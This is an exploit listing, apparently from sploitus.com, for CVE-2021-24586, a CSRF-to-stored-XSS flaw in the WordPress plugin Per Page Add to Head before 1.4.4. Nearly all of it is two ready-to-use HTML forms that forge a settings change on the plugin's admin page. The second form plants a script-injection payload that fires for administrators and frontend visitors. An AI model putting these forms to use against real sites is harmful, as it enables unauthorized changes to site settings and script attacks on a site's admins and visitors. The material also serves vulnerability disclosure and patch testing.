Exploit for Per Page Add to Head < 1.4.4 - CSRF to Stored XSS CVE-2021-24586

Name: Exploit for Per Page Add to Head < 1.4.4 - CSRF to Stored XSS CVE-2021-24586
Rating: 5 (438 reviews)

2021-08-11 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:E9885FBA-0E73-41A0-9E1D-47BADC09BE85
<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=perpageath-every-page" method="POST">
      <input type="hidden" name="html" value="hello csrf found" />
      <input type="hidden" name="rolesallowed[]" value="student" />
      <input type="hidden" name="typeallowed[]" value="post" />
      <input type="hidden" name="typeallowed[]" value="page" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

To XSS an admin viewing the settings and anyone in the frontend:

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=perpageath-every-page" method="POST">
      <input type="hidden" name="html" value="aaa</textarea><img src onerror=alert(/XSS/)>" />
      <input type="hidden" name="rolesallowed[]" value="student" />
      <input type="hidden" name="typeallowed[]" value="post" />
      <input type="hidden" name="typeallowed[]" value="page" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>